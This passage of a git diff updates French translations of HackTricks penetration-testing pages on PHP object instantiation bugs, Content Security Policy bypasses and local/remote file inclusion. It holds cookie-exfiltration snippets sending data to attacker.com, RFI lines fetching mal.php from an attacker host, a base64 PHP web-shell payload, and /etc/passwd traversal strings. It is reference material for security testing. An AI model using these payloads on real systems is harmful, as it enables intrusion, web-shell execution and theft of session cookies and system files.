writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) consiste à uploader des fichiers qui provoquent le crash du serveur avant leur suppression. En brute-forceant le nom du fichier temporaire, il devient possible pour Imagick d'exécuter du code PHP arbitraire. Cependant, cette technique s'est avérée efficace uniquement sur une version obsolète d'ImageMagick. + +## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) + +Lorsque l'entrée utilisateur contrôle le nom de la classe (par ex. `new $_GET['model']()`), PHP 7.0.0 a introduit un bug transitoire lors du refactoring de `Throwable` où le moteur traitait par erreur le nom de la classe comme une chaîne de format pour printf pendant la résolution. Cela permet les primitives classiques de style printf à l'intérieur de PHP : des leaks avec `%p`, le contrôle du compteur d'écriture via des spécificateurs de largeur, et des écritures arbitraires avec `%n` contre des pointeurs en processus (par exemple, des entrées GOT sur les builds ELF). + +Exemple minimal reproductible vulnérable: +```php +d%$n` pour réaliser l'écrasement partiel. ## Références - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 7a15431dc..4e27941bd 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,31 +1,31 @@ -# Contournement de la Politique de Sécurité du Contenu (CSP) +# Content Security Policy (CSP) Bypass {{#include ../../banners/hacktricks-training.md}} ## Qu'est-ce que CSP -La Politique de Sécurité du Contenu (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le cross-site scripting (XSS)**. Elle fonctionne en définissant et en détaillant les chemins et les sources à partir desquels les ressources peuvent être chargées en toute sécurité par le navigateur. Ces ressources englobent une gamme d'éléments tels que des images, des cadres et du JavaScript. Par exemple, une politique pourrait permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris les ressources en ligne et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout` ou `setInterval`. +Content Security Policy (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que cross-site scripting (XSS)**. Elle fonctionne en définissant et détaillant les chemins et sources depuis lesquels le navigateur peut charger des ressources en toute sécurité. Ces ressources englobent une variété d'éléments tels que les images, les frames et le JavaScript. Par exemple, une politique peut permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris des ressources inline et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout`, ou `setInterval`. -La mise en œuvre de CSP se fait par le biais des **en-têtes de réponse** ou en incorporant des **éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée. +La mise en œuvre de CSP se fait via **en-têtes de réponse** ou en incorporant des **éléments meta dans la page HTML**. Conformément à cette politique, les navigateurs appliquent de manière proactive ces stipulations et bloquent immédiatement toute violation détectée. -- Mis en œuvre via l'en-tête de réponse : +- Implémenté via un en-tête de réponse: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Implémenté via une balise meta : +- Implémenté via la balise meta: ```xml ``` ### En-têtes -CSP peut être appliqué ou surveillé à l'aide de ces en-têtes : +CSP peut être appliqué ou surveillé via ces en-têtes : -- `Content-Security-Policy` : Applique le CSP ; le navigateur bloque toute violation. -- `Content-Security-Policy-Report-Only` : Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests dans des environnements de pré-production. +- `Content-Security-Policy`: Applique la CSP ; le navigateur bloque toute violation. +- `Content-Security-Policy-Report-Only`: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests en environnement de pré-production. -### Définir les ressources +### Définition des ressources -CSP restreint les origines pour le chargement de contenu actif et passif, contrôlant des aspects comme l'exécution de JavaScript en ligne et l'utilisation de `eval()`. Un exemple de politique est : +CSP restreint les origines pour le chargement du contenu actif et passif, contrôlant des aspects tels que l'exécution de JavaScript inline et l'utilisation de `eval()`. Un exemple de politique est : ```bash default-src 'none'; img-src 'self'; @@ -39,42 +39,42 @@ object-src 'none'; ``` ### Directives -- **script-src**: Permet des sources spécifiques pour JavaScript, y compris les URL, les scripts en ligne et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT. -- **default-src**: Définit une politique par défaut pour le chargement des ressources lorsque des directives de récupération spécifiques sont absentes. -- **child-src**: Spécifie les ressources autorisées pour les travailleurs web et le contenu des cadres intégrés. -- **connect-src**: Restreint les URL qui peuvent être chargées en utilisant des interfaces comme fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Restreint les URL pour les cadres. -- **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page actuelle, applicable à des éléments comme ``, ` // The bot will load an URL with the payload @@ -548,22 +548,22 @@ run() ``` ### Via Bookmarklets -Cette attaque impliquerait une ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait **du code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **bypassant CSP et permettant de voler des informations sensibles** telles que des cookies ou des tokens. +Cette attaque implique une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de glisser\&déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **javascript malveillant** qui, une fois glissé\&déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web courante, **contournant le CSP et permettant de voler des informations sensibles** telles que les cookies ou les tokens. -Pour plus d'informations [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP bypass by restricting CSP +### Contournement du CSP en restreignant le CSP -Dans [**ce writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdisait de charger un fichier JS spécifique qui, ensuite, via **prototype pollution** ou **dom clobbering**, permettait de **profiter d'un script différent pour charger un script arbitraire**. +In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. -Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`** : +Vous pouvez **restreindre le CSP d'un iframe** avec l'attribut **`csp`** : ```html ``` -Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **l'injection HTML** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\ -Le CSP peut être rendu plus restrictif en utilisant **des balises meta HTML** et les scripts en ligne peuvent désactiver **la suppression** de **l'entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** : +In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **HTML injection** de **restreindre** davantage une **CSP** de sorte qu'un script empêchant la **CSTI** ait été désactivé et que, par conséquent, la **vulnérabilité soit devenue exploitable.**\ +Une **CSP** peut être rendue plus restrictive en utilisant des **HTML meta tags**, et les inline scripts peuvent être désactivés en **supprimant** l'**entrée** autorisant leur **nonce** et en **autorisant un script inline spécifique via sha** : ```html ``` -### JS exfiltration with Content-Security-Policy-Report-Only +### Exfiltration JS avec Content-Security-Policy-Report-Only -Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque SOME** via le point de terminaison **vulnérable** **callback** qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\ -Pour plus d'informations sur la façon de réaliser cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +Un attaquant peut abuser de cet endpoint pour **générer une attaque SOME** contre WordPress et **l'intégrer** à l'intérieur de `` — notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait exploiter l'**attaque SOME** via le **callback** **endpoint** vulnérable qui **contourne la CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\ +Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## Contournements d'exfiltration CSP -S'il y a un CSP strict qui ne vous permet pas de **interagir avec des serveurs externes**, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations. +S'il existe une CSP stricte qui ne permet pas d'**interagir avec des serveurs externes**, il y a quelques techniques que vous pouvez toujours utiliser pour exfiltrer l'information. -### Emplacement +### Location -Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes : +Vous pouvez simplement mettre à jour la location pour envoyer au serveur de l'attaquant les informations secrètes: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -Vous pouvez rediriger en injectant une balise meta (il s'agit simplement d'une redirection, cela ne fuitera pas de contenu) +Vous pouvez rediriger en injectant une meta tag (c'est juste une redirection, cela ne va pas leak le contenu) ```html ``` ### DNS Prefetch -Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôtes en adresses IP et les mettre en cache pour une utilisation ultérieure.\ +Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôte en adresses IP et les mettre en cache pour une utilisation ultérieure.\ Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : `` -Vous pourriez abuser de ce comportement pour **exfiltrer des informations sensibles via des requêtes DNS** : +Vous pouvez abuser de ce comportement pour **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -680,13 +698,13 @@ Pour éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP : X-DNS-Prefetch-Control: off ``` > [!TIP] -> Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (bots) +> Apparemment, cette technique ne fonctionne pas dans les headless browsers (bots) ### WebRTC -Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP. +Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la directive `connect-src` du CSP**. -En réalité, vous pouvez _leaker_ des informations en utilisant une _requête DNS_. Consultez ce code : +En fait, vous pouvez _leak_ des informations en utilisant une _DNS request_. Regardez ce code: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -708,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -La fenêtre contextuelle des identifiants envoie une requête DNS à l'iconURL sans être restreinte par la page. Elle ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost. +Le credential popup envoie une requête DNS vers l'iconURL sans être restreint par la page. Il ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -719,7 +737,7 @@ iconURL:"https:"+your_data+"example.com" }) ) ``` -## Vérification des politiques CSP en ligne +## Vérifier les politiques CSP en ligne - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) @@ -738,6 +756,7 @@ iconURL:"https:"+your_data+"example.com" - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 0f92a8b3b..2fc8565c5 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,16 +4,16 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Meilleur: vous pouvez écrire le code et le serveur l'exécutera). In php this is **disabled** by default (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). In php this is **désactivé** by default (**allow_url_include**).\ **Local File Inclusion (LFI):** Le serveur charge un fichier local. -La vulnérabilité se produit lorsque l'utilisateur peut, d'une manière ou d'une autre, contrôler le fichier que le serveur va charger. +La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier que le serveur va charger. -Fonctions **PHP** vulnérables : require, require_once, include, include_once +Vulnérables **PHP functions**: require, require_once, include, include_once -Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Un outil intéressant pour exploiter cette vulnérabilité: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Intéressants - fichiers LFI2RCE +## Blind - Interesting - LFI2RCE files ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` @@ -26,36 +26,36 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Essayez aussi de remplacer `/` par `\`\ +Essayez aussi de changer `/` par `\`\ Essayez aussi d'ajouter `../../../../../` -Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** -Fusion de différentes wordlists : +Fusion de différentes wordlists: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Essayez aussi de remplacer `/` par `\`\ +Essayez aussi de changer `/` par `\`\ Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../` -Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Consultez la liste LFI de linux. -## LFI basique et bypasses +## LFI basique et contournements -Tous les exemples concernent Local File Inclusion mais pourraient aussi s'appliquer à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +Tous les exemples sont pour Local File Inclusion mais pourraient aussi être appliqués à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### séquences de traversal supprimées non récursivement +### séquences de traversal supprimées de manière non récursive ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass of: $\_GET\['param']."php") +Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -71,7 +71,7 @@ Ceci est **résolu depuis PHP 5.4** ### **Encodage** -Vous pouvez utiliser des encodages non standard comme le double encodage URL (et d'autres) : +Vous pouvez utiliser des encodages non standard comme double URL encode (et d'autres) : ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,42 +80,43 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Depuis un dossier existant -Peut-être que le back-end vérifie le chemin du dossier : +Peut-être que le back-end vérifie le chemin du dossier: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Explorer les répertoires du système de fichiers sur un serveur -Le système de fichiers d'un serveur peut être exploré récursivement pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à vérifier l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir : +Le système de fichiers d'un serveur peut être exploré de façon récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à tester l'existence de dossiers spécifiques. Ci-dessous une méthode détaillée pour y parvenir : -1. **Déterminer la profondeur du répertoire :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois : +1. **Déterminer la profondeur des répertoires :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois : ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Sonder les dossiers :** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un cran : +2. **Probe for Folders:** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de 1 : ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Interpréter les résultats :** La réponse du serveur indique si le dossier existe : - **Erreur / Pas de sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié. - **Contenu de `/etc/passwd` :** La présence du dossier `private` est confirmée. -4. **Exploration récursive :** Les dossiers découverts peuvent être davantage sondés pour des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles de Local File Inclusion (LFI). -Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant se trouve à une profondeur de 3), utilisez : +4. **Exploration récursive :** Les dossiers découverts peuvent être davantage sondés pour des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles Local File Inclusion (LFI). + +Pour explorer des répertoires à différents emplacements du système de fichiers, adaptez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant se trouve à une profondeur de 3), utilisez : ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichier. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré. +Path truncation est une méthode employée pour manipuler des chemins de fichier dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré. -In PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple : +En PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple : -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sont tous traités comme le même chemin. -- Lorsque les 6 derniers caractères sont `passwd`, ajouter un `/` (rendant `passwd/`) ne change pas le fichier ciblé. -- De même, si `.php` est ajouté à un chemin de fichier (comme `shellcode.php`), ajouter `/.` à la fin n'altérera pas le fichier accédé. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, et `/etc/passwd/` sont tous traités comme le même chemin. +- Quand les 6 derniers caractères sont `passwd`, ajouter un `/` (obtenant `passwd/`) ne change pas le fichier ciblé. +- De même, si `.php` est ajouté à un chemin de fichier (par exemple `shellcode.php`), ajouter un `/.` à la fin n'altérera pas le fichier accédé. -Les exemples fournis démontrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations de compte utilisateur) : +Les exemples fournis montrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations de comptes utilisateur) : ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -127,13 +128,13 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas ``` Dans ces scénarios, le nombre de traversals nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur. -- **Utilisation de Dot Segments et de caractères supplémentaires** : Traversal sequences (`../`) combinées à des dot segments et des caractères supplémentaires peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant effectivement les chaînes ajoutées par le serveur. -- **Déterminer le nombre requis de traversals** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour remonter jusqu'à la racine puis vers `/etc/passwd`, en s'assurant que toutes les chaînes ajoutées (comme `.php`) sont neutralisées mais que le chemin désiré (`/etc/passwd`) reste intact. -- **Commencer par un répertoire factice** : Il est courant de commencer le chemin par un répertoire non existant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse du chemin du serveur. +- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combinées à des segments contenant des points supplémentaires et à d'autres caractères peuvent être utilisées pour naviguer dans le système de fichiers, en neutralisant effectivement les chaînes ajoutées par le serveur. +- **Determining the Required Number of Traversals**: Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre la racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée tout en conservant le chemin désiré (`/etc/passwd`). +- **Starting with a Fake Directory**: Il est courant de commencer le chemin par un répertoire inexistant (par exemple `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse du chemin du serveur. -Lors de l'utilisation des techniques de path truncation, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace. +Lors de l'utilisation de path truncation techniques, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace. -**Cette vulnérabilité a été corrigée dans PHP 5.3.** +**This vulnerability was corrected in PHP 5.3.** ### **Filter bypass tricks** ``` @@ -145,23 +146,23 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -Dans php ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que ça fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE: +Dans php, ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP en b64 et obtenir une RCE : +Si, pour une raison quelconque, **`allow_url_include`** est **On**, mais PHP est **filtering** l’accès aux pages web externes, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le protocole data avec base64 pour décoder un code PHP en b64 et egt RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne qui se terminait par `.txt`, donc la chaîne se termine par ceci et après le b64 decode cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté). -> -> Un autre exemple **n'utilisant pas le protocole `php://`** serait : +> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage `b64` cette partie renverra simplement des données indésirables et le vrai code PHP sera inclus (et donc exécuté). + +Un autre exemple **n'utilisant pas le protocole `php://`** serait : ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Élément racine en Python +## Python élément racine En Python, dans un code comme celui-ci : ```python @@ -179,11 +180,11 @@ C'est le comportement prévu selon [the docs](https://docs.python.org/3.10/libra ## Java Liste des répertoires -Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela n'arrive pas dans d'autres langages (afaik). +Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, un **listing du répertoire est renvoyé**. Cela ne se produit pas dans d'autres langages (afaik). ## Top 25 paramètres -Voici la liste des 25 paramètres les plus courants qui pourraient être vulnérables à local file inclusion (LFI) (d'après [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Voici la liste des 25 paramètres les plus susceptibles d'être vulnérables à local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -215,23 +216,23 @@ Voici la liste des 25 paramètres les plus courants qui pourraient être vulnér ### php://filter -Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant leur lecture ou écriture. Il existe 5 catégories de filtres: +Les filtres PHP permettent d'effectuer des opérations de **modification sur les données** avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres : - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">") +- `string.strip_tags`: Retire les balises des données (tout ce qui est entre les caractères "<" et ">") - Notez que ce filtre a disparu des versions modernes de PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transforme vers un encodage différent (`convert.iconv..`). Pour obtenir la **liste de tous les encodages** supportés, lancez dans la console : `iconv -l` +- `convert.iconv.*` : Transforme vers un encodage différent (`convert.iconv..`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l` > [!WARNING] -> En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Compresse le contenu (utile si vous exfiltrez beaucoup d'informations) @@ -240,9 +241,9 @@ Les filtres PHP permettent d'effectuer des **opérations de modification de base - `mcrypt.*` : Obsolète - `mdecrypt.*` : Obsolète - Other Filters -- En exécutant dans php `var_dump(stream_get_filters());` vous pouvez trouver quelques **filtres inattendus**: +- En lançant dans php `var_dump(stream_get_filters());` vous pouvez trouver quelques **filtres inattendus** : - `consumed` -- `dechunk`: inverse l'encodage HTTP chunked +- `dechunk`: inverse l'encodage chunked HTTP - `convert.*` ```php # String Filters @@ -275,21 +276,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the ### Utiliser php filters comme oracle pour lire des fichiers arbitraires -[**In this 